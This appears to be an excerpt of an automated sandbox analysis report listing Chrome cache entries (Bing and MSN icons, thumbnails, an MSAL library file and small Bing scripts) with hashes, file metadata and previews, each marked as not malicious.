Entropy (8bit):	3.958376074234918
Encrypted:	false
SSDEEP:	24:tVvnjuDebkQ/KN8NUfgVNsukQyO/HOOF7ygEjzKzBF6RR2poIugpDco1EISiezGA:rnC2R/74gVNbWgUzKznSooILDpOHxh
MD5:	B006565D5EE6ED73849DDBC655EDEA32
SHA1:	3271C938DF715185E983EA682EFC9C7E870C58E0
SHA-256:	51F195E58525D32BFEC69FB435044246E340540C88CBBAC83501969EF638820E
SHA-512:	6D8126DA32DE2600693541C95A010BA5CB4B9A97401BC7EA335974DB451020677550A05D5379DD5670719B87CBC72B9E519F007769EF1AF1BD3D03C33900635C
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/rp/MnHJON9xUYXpg-poLvycfocMWOA.svg
Preview:	<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">. <path d="M13.5001 5.00088C14.8255 5.00088 15.91 6.03236 15.9947 7.33639L16 7.50075V13.5001C16 14.8255 14.9685 15.91 13.6645 15.9947L13.5001 16H7.50075C6.17534 16 5.09084 14.9685 5.0062 13.6645L5.00088 13.5001V7.50075C5.00088 6.17534 6.03236 5.09084 7.33639 5.0062L7.50075 5.00088H13.5001ZM13.5001 6.00083H7.50075C6.7211 6.00083 6.08038 6.59569 6.00769 7.3563L6.00083 7.50075V13.5001C6.00083 14.2798 6.59569 14.9205 7.3563 14.9932L7.50075 15.0001H13.5001C14.2798 15.0001 14.9205 14.4052 14.9932 13.6446L15.0001 13.5001V7.50075C15.0001 6.7211 14.4052 6.08038 13.6446 6.00769L13.5001 6.00083ZM10.5004 7.00078C10.7459 7.00078 10.95 7.17764 10.9924 7.41088L11.0004 7.50075L10.9994 10.0005L13.5005 10.0006C13.7766 10.0006 14.0004 10.2245 14.0004 10.5006C14.0004 10.746 13.8236 10.9502 13.5903 10.9925L13.5005 11.0006L10.9994 11.0004L11.0004 13.5005C11.0004 13.7766 10.7766 14.0004 10.5004 14.0004C10.255 14

Chrome Cache Entry: 696

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19008)
Category:	dropped
Size (bytes):	316988
Entropy (8bit):	5.239088634343518
Encrypted:	false
SSDEEP:	6144:vLKLj7yjWF276GNg9fpe3HdabIKSB1DkCXW8o0oMlppfbm:zgj7bSB1DkCXW8T5dbm
MD5:	8192D891E754AFD81A399F98BC6B265F
SHA1:	965E6C69F45118FEAB86EEEBBB0FC4964F2B3A98
SHA-256:	E2E4D97C20D4478E8E947480C8F6C71A2C795776D405366BE70DB82E4EA4BA77
SHA-512:	7C2712A1E34DA9062F50E7D93F4E74772044E45C265C682ABCD4E28E4004DCDAF6CE7479A4E8785986A88A32257E4FAC0ECF8CE23AFE47968C4510DF0A2C800B
Malicious:	false
Reputation:	unknown
Preview:	/! @azure/msal-browser v2.28.2 2022-09-06 /."use strict";!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).msal={})}(this,(function(e){./! ****************************************************************************. Copyright (c) Microsoft Corporation... Permission to use, copy, modify, and/or distribute this software for any. purpose with or without fee is hereby granted... THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH. REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY. AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,. INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM. LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR. OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION

Chrome Cache Entry: 697

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	2913
Entropy (8bit):	5.210753142735573
Encrypted:	false
SSDEEP:	48:TS9ldcFHMDcldcFHMDMLgldcFHMDMLO3RlpH//LwgZFLZq2LSHtRjVMHtnhw9MHh:wdcFU2dcFUtdcFUJI1SngMV
MD5:	149EE3CBE1BE0EE49920FDAD16764415
SHA1:	B1D49A73FCD0C3980B32F3C8EB5C4A9855923F57
SHA-256:	3D6C8EFB4E185EBD336CF879F8147B74A4DC41D142C8CEB973D676DCA180DE04
SHA-512:	4524F0BDB1FBFD9C2147FA7BA286234BD73A84CCD74CC94B6D1E087F0F03497460CE2BDEB1CA5237777C90286EC2CFBC36E1EAC96248BABE4C948053D1A6B371
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/weather/Icons/taskbar_v10/Condition_Card/CloudyV3.svg
Preview:	<svg width="72" height="72" viewBox="0 0 72 72" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M13.5 58H34.5H36H55.5C64.6127 58 72 50.6127 72 41.5C72 32.3873 64.6127 25 55.5 25C55.1382 25 54.7791 25.0116 54.4231 25.0346C50.6566 17.879 43.1481 13 34.5 13C23.6003 13 14.5107 20.7504 12.4418 31.0409C5.48057 31.5806 0 37.4003 0 44.5C0 51.9558 6.04416 58 13.5 58Z" fill="#E7F1FF"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M13.5 58H34.5H36H55.5C64.6127 58 72 50.6127 72 41.5C72 32.3873 64.6127 25 55.5 25C55.1382 25 54.7791 25.0116 54.4231 25.0346C50.6566 17.879 43.1481 13 34.5 13C23.6003 13 14.5107 20.7504 12.4418 31.0409C5.48057 31.5806 0 37.4003 0 44.5C0 51.9558 6.04416 58 13.5 58Z" fill="url(#paint0_linear_582_42049)"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M13.5 58H34.5H36H55.5C64.6127 58 72 50.6127 72 41.5C72 32.3873 64.6127 25 55.5 25C55.1382 25 54.7791 25.0116 54.4231 25.0346C50.6566 17.879 43.1481 13 34.5 13C23.6003 13

Chrome Cache Entry: 698

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	27050
Entropy (8bit):	5.311910726386856
Encrypted:	false
SSDEEP:	384:Ju5HpoedXBkzeBPaMZFbIf3NGvRgr32YPGeCxfRPPOqbgoMmb+KAYpHYs7+x:J6xtBkzeoM/biGg9GecwKgoMmNp4s7+x
MD5:	6766470B95D42D3B8AB4CF543FA49BD2
SHA1:	DC905CDF6875CD8BB69CA94385934E2683884DB5
SHA-256:	CDA368A18C96F2E11242E0463B1A5E55D91994E41DA38B41F9C82C0C20A55102
SHA-512:	9902C88A12CC9A9AB397AF420D56EEE82A9D3FBB75E38EA3D62FECF18D479B1FE23DA3975C0593FD0FB70367C6ED2778130BFDA6A2FE23530806502E27ECB391
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/weathermapdata/1/static/logo/ms-start-logo-white.svg
Preview:	<svg width="45" height="14" viewBox="0 0 45 14" fill="none" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.<rect width="45" height="14" fill="url(#pattern0)"/>.<defs>.<pattern id="pattern0" patternContentUnits="objectBoundingBox" width="1" height="1">.<use xlink:href="#image0_51_2339" transform="matrix(0.000879864 0 0 0.00282813 -0.2438 -0.774074)"/>.</pattern>.<image id="image0_51_2339" width="1704" height="901" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABqgAAAOFCAYAAAAWJGOCAAAACXBIWXMAAC4jAAAuIwF4pT92AAAgAElEQVR4nOzdTXIcR5Yu0HCZxl2oFRTUGyhoBQQn/YaE5s+MwApIroDkCkCuAJBZzwkNX08IroDQBprQCoTqDfizoG6qUyB+8ifcwyPyHDOa1GoyEfD0DLDuF/d6BwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Chrome Cache Entry: 699

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	5235
Entropy (8bit):	7.915838822311368
Encrypted:	false
SSDEEP:	96:8zgEtzKiyw9ewk7gBzP3RovWzNb9tXf5oWR9cqkv/+:ygizKi/ewkMP3Cuz/9x9ae
MD5:	822F9E47D1941C96DE090670D5E49FF6
SHA1:	A9B3C7E3B73B208F74062E86ACA4747B47489608
SHA-256:	EDBC6B8400D9666772758F4254BA667CF671398C697F1954DE81CEB324B140B0
SHA-512:	DB1F05F74BCD99F39660BA9B077456F33720D3B6821F55A5ED0584EA416F5578389ED64AAB0DBEA7D33D22A5205C8F435104C1F28621D0FEAC740DF079710319
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_NC-OprYXrwzIWe0YQY-_SQ&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..-.-..6..S..E;KCr....=iZ..q..\|.y..5......2lI.e.t.U...,r}k.O..........:4....(9'.?...^hl......jORN.}..4}..L.Kte.....zS..;W?.{.^.9F..#.."C...F...3..F.2..(.G.&.u......v5hD,F".I0=.....1...}ou...Ko.ls.I..5.}......."msJ../%......uX......ap.._[J.2.&R..S...u.w_._.m&.~.p..^....?.iC...........c.4/i%xD.a......;..uB.V.E..a...U&..F>....k....u..v..".......u.&...0G

Chrome Cache Entry: 700

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:59:08], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	5944
Entropy (8bit):	7.819206752415454
Encrypted:	false
SSDEEP:	96:sUbkQe7dQVaRFmwmIE1KFxQ5JKPxCLNO8XrhNOyYSIyQ3DEmISwnFlE6NlG:s+od96rIE1KRCLHXl4DPzEmISwFlE6Nc
MD5:	F6E70DA298349AD94215F0B4A6875037
SHA1:	96F08A674EDB118B6862663ADA27CCCD56B44481
SHA-256:	68B6356BA9F37FF17EAE98BC094A493075F83D446B1E88F1ED32C2926E72E76C
SHA-512:	AFA16D89B1395F1318F42757F9451553F425539087E2EE40EC9FB14EC1FEB0C80254252951472ACC4AB8D4245E53E75F2C43FE41DAF9EC7DA8526C2F7B669BD4
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:59:08....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.........................................................................................h......................E..T..r..D........@..H.F&....`5.e.%...."..U@C.r.e...5.-.`4".[.`.1C.$)..pZ.".;. .(..w...x.f..sU[....Y..<.:...b..=+.........n\.b)sv/4^`-.kN.;.v..X....Z......#_...N.....j..4.\......T..,.....B..&..L....^LcJ.KA.=....!iEY...!N....Z.:.d.i..F..d...sP.w=<..59]O..u.?..3...]i....F...C.X...[M..z..<...k..rL.UYr.jz.@ sTf..D8,5.+..<jWr..oL...<H.k;.A I.k)...'.y.j.uZ.,4......(.\HH.ByC..1.jt.X...Z.......w......`.v.TZ.M.f.J.}.F.e..Te.-N@S...+.].\..u-9..Xg .B.[M.$..'.ry....Zf...CV.D...S...65 `mH@#.j[.y."...r ).5.B\.o...B...Ee..Q@....,..)..u#..i.j.jAsT...[J.c_...'.....................

Chrome Cache Entry: 701

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1248
Entropy (8bit):	4.794006986210145
Encrypted:	false
SSDEEP:	12:6v/7FKUjCpiCOvfHhAqbCqzald1uVyjq0nc91fSn62gg:INvfygBQdggWuM1qdg
MD5:	4CA14D11E247672836C5BF5C1D7BC0B8
SHA1:	7AB5A1DA7702D2413FF7AA69E900EA0CD61B85F2
SHA-256:	9CDCCFE1364E044C501EBAFFAC0E46F04309AA8FB8E647000784238B49E64273
SHA-512:	17C2E87F1EEFD769B6270CBC27022C998EF30A595AB01331A056ABBBB3C517A2BA6CF9116C3F82FCA10C6F92D5434C0DEB94DBAF9AA09A84EA150A8D40B459A4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....2IDATx...]H.Q...m..6.m"Y..-..3...%TDb..B..E.MaHA....(.D."....]...t..u......>..2t..].0[.o.9.{.....?..[>.......f..rN].G....s............C&I...".....w.(..\.BF..Mu.t...;.z..l...$=r. .HH6.-". ..<.^/..[.q....Cm..,..+...c.......1.sGj.u.^W"U.8.....Q....\|.U.k1.u.u..m.cX\4.8.....N......o0.....D.~q`....].K..F.._.i^6[..(..$K..]...;,).gz.`$....GO...:./........A8.J'..Ymgn..Ki....P.!*....K\f.p[...v..E.O...7]!H.....5+....$Z...Y.0.w....+..V..j5.?yY.E`kf....fRd<.....+.....D..&..........pv.)3F.....=...9'C.{.R..7.aL.~.%K.}../..9}~._c.`...2...&...}....IEND.B`.........................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 702

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:43:45], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	3814
Entropy (8bit):	7.634659202076907
Encrypted:	false
SSDEEP:	96:sQrbnTt8ATpTToooX6l4d309BEEGp0m1amWth0x/aA+9GnPoYXEcX:sS8AyJKl4xV0KamWtOb+SP0cX
MD5:	281570611F89219A970F2589F98A09DB
SHA1:	9E2DCCC8A295BBDA4AD12818EA06FA67634E1A98
SHA-256:	7BDAB4155253E159B748E2BE6CB1C0AF736F18D2A4DBDDF79D93D6219A3DE9DD
SHA-512:	FB9CAEE5B3FF8A3CE8C4D6D066CC0283A8A158E32131754CD9EFB1B4A25303CAA72FAE11C23E836B2A2F0D5005F0E39EB2A38D1D28CB81CAE5C1C818D77B80FB
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:43:45....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;......................................................................................... .. ..... .. .. ..$................H.............. ..$..H .. .....AY .....: ...P$..$.. .tXAI ......@....9..I...Rt....f$.Z....+..,.. .t@1.Q.O=..3.l.#.v..1gZ,...[..A&.y.....j....=-.{.[.....5t.y.q..T..t.UY...Z.,..]....{...bI<.4`..<].m'...D..9.......z5.....0G..U.b.e.qn6k7cwo......1G=......)n..g..1.vZ...jIu..9.c.uo=..>...r..-......2..g.V.Z\.{.^c:..Jj.uY....5-."V...?...(......................!..".. .12#0@ABp...............>.....n..>..z..z..n.' .\.J.-...u#.....c~.@d.......\|./..g..v....#..:a_....p=$Z.%.3..SN.G..Hi.._.W........L.........$.?..p_.w. ..e.h..A..9.-[..n.F.......Q.. .2.

Chrome Cache Entry: 703

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (622), with no line terminators
Category:	dropped
Size (bytes):	622
Entropy (8bit):	4.962887885281562
Encrypted:	false
SSDEEP:	12:Gjau1En2bn+eXmd6Vi52ZcsxjZmsT0IeOhSMpS2KXwGeDXAu4SnaPRnjhjS:sau1LnjIdcTt5wAoF2KXzeDQSspRS
MD5:	FD62D97C8EC70C71F5CAE4D04961FE86
SHA1:	37897326EB025EAF866C494CC7E425C089468F98
SHA-256:	D856A0FE58F01513B30B14C87DB060E961533E2A19018369C6C74AFEDC8AD2B5
SHA-512:	21CE4C24121AA9B8349E2F0C0FC89C8C174274C49E695C51515A3C783FAC2345F1D6D0713BEDA8508EFD7EA4908AC1B4510FD7E7C5D6FC97A2901024135138BB
Malicious:	false
Reputation:	unknown
Preview:	var PrefetchJsResource;(function(n){function t(n,t,r){i(n,t,r)}function i(n,t,i){typeof sb_st!="undefined"&&typeof sj_ce!="undefined"&&n&&sb_st(function(){var r,u=document.querySelector("head"),t,f;u&&typeof u.appendChild=="function"&&(t=sj_ce("link"),t)&&((t.setAttribute("rel","prefetch"),t.setAttribute("href",n),t.setAttribute("as","script"),t.setAttribute("type","text/javascript"),i&&t.setAttribute("id",i),f=(r=performance===null\|\|performance===void 0?void 0:performance.getEntriesByName(t.href))===null\|\|r===void 0?void 0:r.length,f>0)\|\|u.appendChild(t))},t)}n.init=t})(PrefetchJsResource\|\|(PrefetchJsResource={}))

Chrome Cache Entry: 704

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1065
Entropy (8bit):	4.58625494968845
Encrypted:	false
SSDEEP:	24:ttMD4XW6zQpmgG5fYQpmgG5j4zFQZcSXWEcoqRQ:HRSm/Nvm/CIXWW
MD5:	B3199E6BAF6D264405C122BF5EBE64A0
SHA1:	EE1B56CEA599BFC1921C96885B585A6ACF523531
SHA-256:	BBA51407483F3DECBA29C8D3398AC6F244B415BE04055123775C4A428CFDFDDC
SHA-512:	5CB6654495A14595BCE84C0AA6C26FDFBE0E44E0E44DB703392641F772D26B4C6835501EEB5410CBBE6D882A3199795A812782472BED5A8A8D951CB56237B007
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/7htWzqWZv8GSHJaIW1haas9SNTE.svg
Preview:	<svg enable-background="new 0 0 64 48" viewBox="0 0 64 48" xmlns="http://www.w3.org/2000/svg"><path d="m59.5.5h-27.5v47h27.5c2.209 0 4-1.791 4-4v-39c0-2.209-1.791-4-4-4z" fill="#111"/><path d="m4.5.5h27.5v47h-27.5c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="#fff"/><path d="m4.5.5h55c2.209 0 4 1.791 4 4v39c0 2.209-1.791 4-4 4h-55c-2.209 0-4-1.791-4-4v-39c0-2.209 1.791-4 4-4z" fill="none" stroke="#ccc"/><path d="m14 14h-6c-1.105 0-2-.895-2-2v-4c0-1.105.895-2 2-2h6c1.105 0 2 .895 2 2v4c0 1.105-.895 2-2 2z" fill="#106ebe"/><path d="m34 36h-26c-1.105 0-2-.895-2-2v-14c0-1.105.895-2 2-2h26c1.105 0 2 .895 2 2v14c0 1.105-.895 2-2 2z" fill="#c4c4c4"/><path d="m24 14h29c2.209 0 4-1.791 4-4s-1.791-4-4-4h-29c-2.209 0-4 1.791-4 4s1.791 4 4 4zm31 4h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-14c-1.105 0-2 .895-2 2s.895 2 2 2h14c1.105 0 2-.895 2-2s-.895-2-2-2zm0 7h-47c-1.105 0-2 .895-2 2s.

Chrome Cache Entry: 705

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	18810
Entropy (8bit):	7.961037807071389
Encrypted:	false
SSDEEP:	384:ePY2ff98RlyCLQCBekhZs2AZsuERp6chkEdp6Y+UvJ2vVhZGtz4jtU:eQ2H9EyCf7oEP6+kEdpaOJ4v2
MD5:	631EC803EE920E7986076DE40DC34E7B
SHA1:	9A44A5E822E59F6E9EC7A8959CAC7CE0F6DFE05D
SHA-256:	514862730A91E423FC3D735E75A59667E2BD65F73D96720B5DA018A9AED7C348
SHA-512:	EDD083C8BD4D61E63868347E95BF84C4059762A2518D9D1219D41D8940EAC21B6163E7ED6A453438C8BED6998579EDE67A9FA28E406B2708343EA06C66E1846F
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...~....mv..$m...j....C.........MkI...YZ.....u.;Z..f.......s_?R....+.eJ.iI8....{./1...n....`.k.w..\..3E...5.1$.R. ..#..V.\|S2E....+...,.+}6..M3.8.;3.l..#..../_.]7..........E...1...p.....?.A..J=OP..!.!v.=.5.........5......+..D.l......v...d.......4.....D.~+l.?.....j.eh.a.H.t. .G.....J...3C...=.z=...../%mZ. ..&.=...J.Lp.gu1.H..{.s....E.\m.T..9u........v&{.....M.

Chrome Cache Entry: 706

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (576), with no line terminators
Category:	dropped
Size (bytes):	576
Entropy (8bit):	5.192163014367754
Encrypted:	false
SSDEEP:	12:9mPi891gAseP24yXNbdPd1dPkelrR5MdKIKG/OgrfYc3tOfIvHbt:9mPlP5smDy1dV1dHrLMdKIKG/OgLYgtV
MD5:	F5712E664873FDE8EE9044F693CD2DB7
SHA1:	2A30817F3B99E3BE735F4F85BB66DD5EDF6A89F4
SHA-256:	1562669AD323019CDA49A6CF3BDDECE1672282E7275F9D963031B30EA845FFB2
SHA-512:	CA0EB961E52D37CAA75F0F22012C045876A8B1A69DB583FE3232EA6A7787A85BEABC282F104C9FD236DA9A500BA15FDF7BD83C1639BFD73EF8EB6A910B75290D
Malicious:	false
Reputation:	unknown
Preview:	var SsoFrame;(function(n){function t(n){if(n&&n.url&&n.sandbox){var t=sj_ce("iframe"),i=t.style;i.visibility="hidden";i.position="absolute";i.height="0";i.width="0";i.border="none";t.src=decodeURIComponent(n.url);t.id="aadssofr";t.setAttribute("sandbox",n.sandbox);_d.body.appendChild(t);n.currentEpoch&&sj_cook.set("SRCHUSR","T",n.currentEpoch,!0,"/");Log&&Log.Log&&Log.Log("ClientInst","NoSignInAttempt","OrgId",!1)}}function i(n){try{n&&n.length===2&&t(n[1])}catch(i){}}n.createFrame=t;n.ssoFrameEntry=i;sj_evt.bind("ssoFrameExists",i,!0,null,!1)})(SsoFrame\|\|(SsoFrame={}))

Chrome Cache Entry: 707

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 186x88, components 3
Category:	downloaded
Size (bytes):	5146
Entropy (8bit):	7.92054723869336
Encrypted:	false
SSDEEP:	96:8zgEoMqRxjovgeSOpNWSfGV6Qmju0QJykNG3zovmsioGSynLa3EGw7b:ygrMMjoYedpNdGV6Qdl3Jv5ioj8232/
MD5:	68DF420997E2171DB09B8B51A7166C17
SHA1:	5590419B8B319719D3A96FB3D8AA9E6B356BC5D3
SHA-256:	BA22C0CDE79E23E03D86C0494AB85AB987600412A50E2B6EE629602254148938
SHA-512:	315BD18CD4EC14BCD1D29DF501A3BA3000BE22D0D55B603401F16F519C8883E830512151568CF4D2D70F79EA2E1D0D9C1C8F1213286241C77FF4542BF8B9E3A9
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OPN.RTNews_7lDDgveHgPH3hPXeGO3Fuw&w=186&h=88&c=7&rs=2&qlt=80&pid=PopNow
Preview:	......JFIF.....`.`.....C.....................................'!..%..."."%()+,+. /3/2'+...C..............*************************************************......X...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..<3.j....G"D....88.U@j.+g.....x.....w....#.?.....OE.rpz.XK<..p[...e....V.....)..Ky...w.......N.j.wn........z....d.rk:.R5.7.^]L..........)..}i.x..}qV!..y.?y..X(..ts....{v..?.U...8#.zV..,..F...1.....A.=.......s.!.......%..v..\..ys.....]q...TLq...j...<.v;.......[.......F.....J..,h...bI...m?@.F..oq..q+........l/....5_.V.........T.1..6.....=[<...z......l.B

Chrome Cache Entry: 708

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1448
Entropy (8bit):	4.766608922897402
Encrypted:	false
SSDEEP:	12:6v/7BmwZJnxhCNUcY7Lll5eAsXMkM7juOeLqGUy64sVZHOyiRxxnpZnBdBlLkstA:2mwXx8NQtlljde+rZARxBpZnzHxA
MD5:	94CF44E898F78026FF061A7AC656AF5F
SHA1:	2B97722BEB01CC40F61F788F5CA41893BA92B95E
SHA-256:	7BBD1B4EF7113F2370BBABC688820B45040697669F5B5E4A84E41566E2B057FE
SHA-512:	AB7C615DD222F93AFE033FC011D88960D1943F908D5AE07D37470503651C8BCF333BA58C51362ECF8C3E71C0EA9EA09B97974A3B0A65F927FB24CF14D359BA06
Malicious:	false
Reputation:	unknown
URL:	https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAT0qC2.img?w=16&h=16&q=100&m=6&f=png&u=t
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...Mh.Q...Lf2.v...S.(....B..XD..ua.E].n,n....;.k.V.....Q..O-...Q+.Ij.....^.....f.....w....j4.d2...AUU.^o3#.z...i..A.EiAP[..r.\..i.....v.W.I.......h..d"..bY......2. ].m..-cU...h..C....QqV...\|..s .^.7.,...........F.]......Rk...Ixr.....G.0Je.(PA..G._d......$Js.7,N.....UU..H...10.8.G...F..@..PI\..,n."\|,$8.......r!p..+..<...a!.S. X.E_7.bl..>#.yA....&.Z{....R.I7...%.\.........{..mG[m..{.b<F$.G8,tq....P.QG9..Wp(.9...c..a...O..>.A..._e...R.....S..p1t.._EU\...UrU.N1..kb.;..p..q..n!6....=._g.N.PP..!..^D.D..s...B.Z.z...9.[o4.!.q...<l2.q....J.\|^....1/...].......<.D...v.H$". .a.m'...JYV.,..[.j.e.T*.f..."(.J.v..na..QnHmKiKo......J;..A....LJ....IEND.B`.....................................................................................................................................................................................................................................................................

Chrome Cache Entry: 709

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	226
Entropy (8bit):	4.923112772413901
Encrypted:	false
SSDEEP:	6:2LGfGIEW65JcYCgfkF2/WHRMB58IIR/QxbM76Bhl:2RWIyYCwk4/EMB5ZccbM+B/
MD5:	A5363C37B617D36DFD6D25BFB89CA56B
SHA1:	31682AFCE628850B8CB31FAA8E9C4C5EC9EBB957
SHA-256:	8B4D85985E62C264C03C88B31E68DBABDCC9BD42F40032A43800902261FF373F
SHA-512:	E70F996B09E9FA94BA32F83B7AA348DC3A912146F21F9F7A7B5DEEA0F68CF81723AB4FEDF1BA12B46AA4591758339F752A4EBA11539BEB16E0E34AD7EC946763
Malicious:	false
Reputation:	unknown
Preview:	(function(n,t,i){if(t){var r=!1,f=function(){r\|\|(r=!0,typeof wlc!="undefined"&&wlc(sj_evt,sj_cook.set,wlc_t))},u=function(){setTimeout(f,t)};n.bind("onP1",function(){i?n.bind("aad:signedout",u):u()},1)}})(sj_evt,wlc_d,wlc_wfa)

Chrome Cache Entry: 710

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	225826
Entropy (8bit):	7.997591578026521
Encrypted:	true
SSDEEP:	6144:p7TNznG8JwsweeGhLh+tGvnsi74hkdqySyWhRo+F:p7ThG8+teeGhKUv74HyS5mQ
MD5:	66CA49C5E9F38102BE83941EDBBE3FF0
SHA1:	08E06EBEFE20B22D1764A2275CD9AAE78F65A062
SHA-256:	A90FEC7BF86C6274F7C1A3CE196F5E444958A6021FDDFB5A3D9AFE9A14DA7BF9
SHA-512:	71A417D326F4853F105BB69F95703C9CFB4196637861394E76E9653B290D6CD2969F13AE8A344464B32362BFF309625596A315EA112F74308245A93423C4EBBE
Malicious:	false
Reputation:	unknown
URL:	https://www.bing.com/th?id=OHR.CERNCenter_EN-US9854867489_1920x1080.webp&qlt=50
